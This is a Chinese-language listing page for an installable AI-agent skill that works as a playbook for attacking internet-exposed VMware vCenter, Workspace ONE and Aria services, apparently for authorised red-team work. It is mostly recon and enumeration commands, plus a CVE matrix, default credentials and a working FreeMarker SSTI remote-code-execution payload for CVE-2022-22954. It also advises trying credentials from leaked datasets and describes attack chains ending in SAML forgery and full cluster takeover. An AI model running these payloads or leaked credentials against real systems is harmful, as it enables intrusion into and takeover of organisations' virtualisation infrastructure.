mcpField
V
vmware-vcenter-attack

vmware-vcenter-attack

github.com/elementalsouls安全5.3k272 次安装今天更新
代码仓库

关于 vmware-vcenter-attack

vmware-vcenter-attack 是用于评估互联网暴露的 VMware vCenter 及相关管理服务的安全技能。它为授权的外部红队工作提供版本检查、漏洞分级、暴露面审查以及范围和安全限制指引。

主要功能

  1. 01VMware 服务指纹识别与版本核查
  2. 02外部可利用 CVE 评估
  3. 03MOB 与 API 暴露检查
  4. 04Workspace ONE 与 Aria 路径检查
  5. 05凭据尝试与利用安全限制

适用场景

  1. 01评估公网 vCenter 的补丁风险
  2. 02检查匿名 MOB 是否泄露基础设施信息
  3. 03识别 Workspace ONE 或 Aria 的暴露面

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill vmware-vcenter-attack

安装后在 Claude Code 中输入/vmware-vcenter-attack确认已加载。

详细介绍

适用场景

当外部侦察发现以下任意迹象时触发:

  • 横幅:“VMware vCenter Server”、“VMware vSphere Client”
  • URL 路径:/ui、/ui/login、/websso/SAML2/Metadata、/sdk、/mob(Managed Object Browser)
  • TLS 证书 SAN 包含 vcenter / vsphere / vcsa / psc / vmware
  • Workspace ONE Access / Identity Manager:/SAAS、/SAAS/auth、/SAAS/login、/SAAS/horizon
  • VMware Aria / vRealize:/vco、/vco-controlcenter、/orchestrator、/lcm/api/v1
  • Horizon View:/portal、/admin

不要用于:

  • 内部网络中的 vCenter(不在范围内——遵守外部边界原则)
  • 纯 ESXi 虚拟机管理程序暴露在外、但未暴露管理平面(互联网中较少见;作为单独发现项标记)

第 1 步 — 版本指纹识别

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

通过 VMware 安全公告(vmware.com/security/advisories)将构建版本映射到产品版本及 CVE 适用情况。


第 2 步 — CVE 矩阵(可从外部利用,按历史影响排序)

CVE受影响产品利用向量状态
CVE-2024-37085ESXi 7.0/8.0 < 特定补丁AD 组“ESX Admins”自动授予管理员权限的绕过问题高危 — 接管域→ESXi RCE,曾在勒索软件行动中被利用
CVE-2024-22273ESXi/Workstation/Fusion/vCenter 存储控制器越界读写——需要访问虚拟机本地(不是预认证网络 SSRF;见第 9 节)重要(CVSS 8.1),无法通过外部预认证利用
CVE-2024-22252/53Workstation/Fusion(不包括 vCenter)沙箱逃逸无法从外部利用
CVE-2023-34048vCenter 7/8 < 特定构建版本DCE/RPC 预认证堆越界写入 → RCE严重,已于 2023-10 修复
CVE-2023-20887Aria Operations for Networks预认证命令注入 → RCE严重
CVE-2023-20892vCenter 7/8DCE/RPC 中的释放后使用漏洞高危
CVE-2022-31656/31659Workspace ONE Access 21.x预认证 SSRF + 身份验证绕过严重,可串联利用
CVE-2022-22954Workspace ONE Access预认证服务器端模板注入(SSTI)→ RCE严重,曾被广泛利用
CVE-2021-22005vCenter 6.7/7.0 < 构建版本Analytics 服务预认证文件上传 → RCE严重
CVE-2021-21985vCenter 6.5/6.7/7.0 < 构建版本vSAN Health Check 插件预认证 RCE严重
CVE-2021-21972vCenter 6.5/6.7/7.0 < 构建版本vRealize 插件 /ui/vropspluginui/rest/services/uploadova 预认证文件上传 → RCE严重,曾遭大量利用
CVE-2020-3992ESXi OpenSLP预认证释放后使用漏洞 → RCE严重,ESXi 勒索软件攻击向量
CVE-2019-5544ESXi OpenSLP预认证堆溢出严重

第 3 步 — CVE-2021-21972 探测(过时设备中仍很常见)

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

存在 Mikhail Klyuchnikov 编写的公开 PoC;未经明确批准尝试 RCE,不得对客户端基础设施执行。


第 4 步 — CVE-2022-22954(Workspace ONE SSTI)探测

# Stage A — detection only: reachability + baseline. No command execution yet.
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

只有当唯一的 $CANARY 在带内回显,且 uid= 输出未出现在 Stage-A 基线中时,才可确认 RCE → 严重。立即停止并报告。仅出现 uid=、但未回显 canary,不能确认漏洞。


第 5 步 — 默认凭据(实验室/预发布 vCenter 中仍经常有效)

产品默认用户名默认密码
vCenter 6.x[email protected]<set-during-install>
vCenter Appliance rootrootvmware(旧版)或 <set>
ESXi rootroot<blank> 或 vmware
vCenter Server Appliance Mgmt (5480)root<set-during-install>
Aria Operationsadminvmware(旧版)
Workspace ONEadmin<set>

⚠ 不要对 vCenter 进行密码喷洒——[email protected] 的锁定阈值极低(通常尝试 3 次后锁定 60 秒,也可配置为永久锁定)。只有在高度确信猜测正确时才尝试一次。使用从泄露数据集中发现的凭据。


第 6 步 — SSO / vmdir LDAP 枚举

# SSO Admin endpoint (frequently exposes domain info)
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

第 7 步 — Managed Object Browser (MOB) — 经常会泄露数据

curl -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl -sk -u '[email protected]:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

第 8 步 — vSphere REST API 枚举(获取凭据后)

# Get session token
curl -sk -X POST -u '[email protected]:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

第 9 步 — Workspace ONE Access 特定路径

# Metadata
curl -sk "https://$TARGET/SAAS/auth/saml/response"
curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl -sk "https://$TARGET/SAAS/login/0"

第 10 步 — Aria / vRealize 特定路径

# vRealize Operations Manager
curl -sk "https://$TARGET/suite-api/api/versions"
curl -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl -sk "https://$TARGET/csp/gateway/am/api/about"
curl -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl -sk "https://$TARGET/vco/api/about"
curl -sk "https://$TARGET/vco-controlcenter/api/health"

工具

  • vCenter-Exploit 集合(GitHub 上针对 21972、21985、22005 的多个 PoC)
  • Greenbone/openvas-scanner VMware NASL 插件 — 版本检测
  • nuclei 模板:vmware-vcenter-*.yaml、cve-2021-21972.yaml、cve-2022-22954.yaml
  • Metasploit 模块:exploit/multi/http/vmware_vcenter_*

检测模式(防御人员/SOC 将看到的内容)

  • /ui/vropspluginui/* 上大量出现 404 — IDS 特征
  • 来自非管理 IP 的 /sdk POST 请求
  • [email protected] 认证失败
  • TLS 握手指纹变化
  • 向 vRealize 端点上传插件

配合使用 mid-engagement-ir-detection 技能 — 成熟的 SOC 会对 vCenter 进行严密监控。


仅限外部的边界检查

如果侦察发现只能通过 VPN 访问 vCenter(无法直接从互联网访问)→ 停止。这是内部基础设施,根据 feedback_skill_boundaries,不属于仅限外部的 AI 范围。内部 vCenter 工作由用户直接处理。

遗憾的是,互联网暴露的 vCenter 在网络边界上很常见,而且往往多年未更新。2021-21972 / 21985 / 22954 三项漏洞在 2026 年仍然有效,因为虚拟机管理程序的管理系统补丁周期较慢,且由供应商管理。


严重性评分指南(红队交付内容背景)

发现严重性
vCenter 暴露于互联网,且补丁为最新信息(攻击面说明)
vCenter 暴露于互联网,缺少公开 RCE 漏洞的修复补丁严重(整个虚拟化平台遭到攻陷)
vCenter 暴露于互联网 + 管理员密码为默认密码严重(可立即完全接管)
Workspace ONE 暴露于互联网,未修补 22954 漏洞严重
MOB 可匿名访问高(完整拓扑信息泄露)
/sdk 可访问 + 仅泄露版本信息中(信息泄露 + 攻击面集中)

反模式

  • 不要对 vCenter SSO 进行密码喷洒 — 锁定机制很严格;通常只有一次机会
  • 未经明确许可,不要执行文件上传 PoC — 它们会创建持久化 Webshell;会增加清理开销并留下审计记录
  • 不要混淆暴露于互联网的 ESXi 管理界面与 vCenter — 两者的攻击面不同;ESXi Open SLP CVE 针对 427 端口
  • 不要跳过 SSL 握手横幅检查 — VMware 会在其中暴露版本信息;这是噪声最低的初始探测方式

与相邻技能的衔接

  • enterprise-vpn-attack — vCenter 经常是攻破 VPN 后的目标;如果 VPN 被攻破,vCenter 就是自然的下一步横向移动目标(但它属于内部系统 — 应交由用户处理)
  • m365-entra-attack — vCenter SSO 有时会联合到 Entra;可通过凭据链建立关联
  • mid-engagement-ir-detection — vCenter 监控较为敏感;应预期在交战过程中采取缓解措施
  • redteam-report-template — vCenter 发现需要清晰说明影响范围(这是虚拟化平台,而不只是一个应用)

相关技能与攻击链

  • hunt-saml — vCenter Workspace ONE / VMware Identity Manager 会在 /SAAS/API/1.0/GET/metadata/idp.xml 发布 SAML SP 元数据,并在可预测的 ACS URL 接收断言。攻击链原语:可访问 vCenter SAML SP 元数据 → 对 IdP 进行指纹识别 → 针对联合 IdP 使用 hunt-saml 的 XSW1-XSW8 → 伪造包含 [email protected] 的断言 → 以 vCenter 管理员身份冒充 SP → 全面接管虚拟化平面。
  • hunt-rce — VMware 高危 CVE 目录(CVE-2021-21972、CVE-2021-21985、CVE-2022-22954、CVE-2023-20887)几乎全是预认证 RCE。攻击链原语:通过 SSL 横幅或 /ui/login 正文识别 vCenter 版本 → 确认缺少相应补丁 → 使用匹配 CVE PoC 中的反序列化 / SSTI gadget 执行 hunt-rce → 获取 vCenter 设备上的 root 权限 → 生成 API 令牌 → 控制整个集群的 VM。
  • enterprise-vpn-attack — VPN 被攻陷后,内网中的 vCenter 是自然的后续跳板,但仅限外部的测试范围有时会禁止此操作。攻击链原语:VPN 设备 CVE → 在公司网络内建立立足点 → 若测试范围允许,vmware-vcenter-attack 即可访问仅限内网的 vCenter → 接管数据中心。
  • m365-entra-attack — 某些 VMware 部署会将 vCenter SSO 联合到 Entra。攻击链原语:发现 vCenter SSO → AuthURL 指向 login.microsoftonline.com → 通过 m365-entra-attack 对 [email protected] 同步身份执行 Entra ATO → 获取 SAML 断言 → 无需暴力破解 vCenter SSO 即可成为 vCenter 管理员。
  • mid-engagement-ir-detection — VMware vSAN/vCenter 告警较为敏感;检测到问题后,预计 SOC 会在数小时内修补或阻止攻击。攻击链原语:确认存在 vCenter CVE → 在尝试利用之前运行 mid-engagement-ir-detection 基线采集 → 如果测试期间响应模式发生变化,将 SOC 修补后的状态作为第二项发现记录(观察到防御措施)。使用 redteam-report-template 将两者一并打包。

已披露 CVE 与协调披露引用

以下是上方矩阵中所有 CVE 的关键公开参考资料。每项都包含供应商公告、最初研究人员的分析或 KEV 目录条目,以及(如已公开)在野利用的参考资料。

1. CVE-2021-21972 — vCenter vropspluginui 未经身份验证的任意文件上传(典型的预认证 RCE)
2. CVE-2021-21985 — vCenter vSAN Health Check 插件预认证 RCE
3. CVE-2021-22005 — vCenter Analytics 服务任意文件上传 → RCE
4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE
5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host 标头身份验证绕过
6. CVE-2023-20887 — VMware Aria Operations for Networks (vRealize Network Insight) 未经身份验证的命令注入 → RCE
7. CVE-2023-34048 — vCenter Server DCERPC 预认证越界写入 → RCE(APT 利用的零日漏洞)
8. CVE-2024-37085 — ESXi Active Directory 集成中的“ESX Admins”身份验证绕过(勒索软件团伙最爱)
9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter 存储控制器越界读写
  • 关于原始工单的说明: 该 CVE 在简报中被列为“Aria SSRF”,但 NVD 的实际记录描述的是 ESXi/vCenter 存储控制器越界读写,并非 Aria SSRF。2024 年周期内与 Aria SSRF 最接近的问题是 CVE-2023-34063(VMSA-2024-0001)——Aria Automation 缺少访问控制,允许已通过身份验证的用户跨组织访问;CVSSv3 9.9。此处同时引用两项,以确保矩阵在技术上准确。
  • 受影响版本(CVE-2024-22273): ESXi 7.0/8.0、Workstation 17.x、Fusion 13.x,以及打包了相关组件的 vCenter Server 版本。需要在启用了存储控制器的情况下获得虚拟机本地访问权限。
  • 攻击流程: 启用了存储控制器的虚拟机可发起特制 I/O,触发主机上的越界读写 → 导致主机信息泄露或拒绝服务(未直接证明可逃逸)。CVSS 8.1(重要)。
  • 根本原因: 存储控制器模拟路径中缺少边界检查。
  • 披露情况: 由天工团队(奇安信集团 Legendsec)的 Hao Zheng(@zhz)和 Jiaqing Huang(@s0duku)报告。安全公告 VMSA-2024-0011 于 2024-05-21 发布。发现年份:2024;修复年份:2024。
  • 参考资料: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ;https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ;https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
  • Aria 相关问题 — CVE-2023-34063(VMSA-2024-0001): Aria Automation 8.11.x–8.14.x 缺少访问控制,导致已通过身份验证的用户未经授权跨组织访问远程工作流。CVSSv3 9.9。在 Aria Automation 8.16 中修复。参考资料:https://www.vmware.com/security/advisories/VMSA-2024-0001.html ;https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP 未经身份验证的释放后使用 / 堆溢出(ESXiArgs 勒索软件攻击途径)
额外内容:CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation 身份验证绕过(22972 后续补充)

关键元参考资料(跨 CVE)

以上每条记录都体现出同一规律:VMware 管理平面 CVE 无需身份验证即可利用,可通过网络访问,并且补丁发布后数日内就会遭到大规模利用。 当外部侦察发现这些产品中的任何一种仍处于比当前版本落后一个补丁级别的状态时,应将其列为严重发现,并在交付成果中当天特别指出,而不是归为中危信息泄露。

评论

支持 Markdown